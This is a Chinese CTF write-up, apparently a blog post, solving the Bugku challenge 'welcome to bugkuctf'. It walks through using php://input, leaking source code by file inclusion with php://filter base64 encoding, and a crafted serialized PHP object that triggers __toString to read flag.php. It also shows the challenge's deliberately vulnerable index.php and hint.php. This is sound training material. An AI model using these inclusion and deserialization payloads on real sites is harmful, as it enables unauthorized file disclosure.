bugku【welcome to bugkuctf】题解

1.通过php://input对变量输入内容,让file_get_contents能够读取变量的内容

2.通过php://filter/read=convert.base64-encode/resource=xxx.php得到其他PHP文件的源代码

3.通过反序列化,对echo的魔术方法__tostring()里面的参数进行赋值

题目地址:http://120.24.86.145:8005/post/

打开题目出现

查看源码,看到提示

这里需要我们设置通过txt给$user变量赋值,然后file_get_contents读取$user的内容如果等于welcome to the bugkuctf   即输出hello admin!  并且文件包含$file里面的参数

对txt参数试用php://input,然后参数通过post发送出去即可

然后我们在利用这个文件包含漏洞使用

php://filter/read=convert.base64-encode/resource=xxx.php

来进行访问php文件的源码(base64转码后,不转码的话被包含的php代码还是会被网页执行),并通过base64解码查看的方法来查看hint.php和index.php的源代码

/*hint.php*/

<?php  
  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
			echo "<br>";
		return ("good");
        }  
    }  
}  
?>  

/*index.php*/

<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  
  
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
		echo "ä¸è½ç°å¨å°±ç»ä½ flagå¦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  
  
?>  
  
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->   

 

这里需要用到反序列化的知识和魔术方法的知识。

在index.php中通过$password = unserialize($password);   进行了反序列化并调用了echo方法输出$password,因为在echo被调用时候前都会先调用__tostring()的魔术方法(在hint.php源码中),然后我们在hint.txt的源码中看到我们需要把$file参数赋值为flag.php即可得到flag。

所以我们需要自己构造序列,来达到对_tostring里面的$file参数赋值

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

我们把构造好的序列化输出通过password上传即可得到flag

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值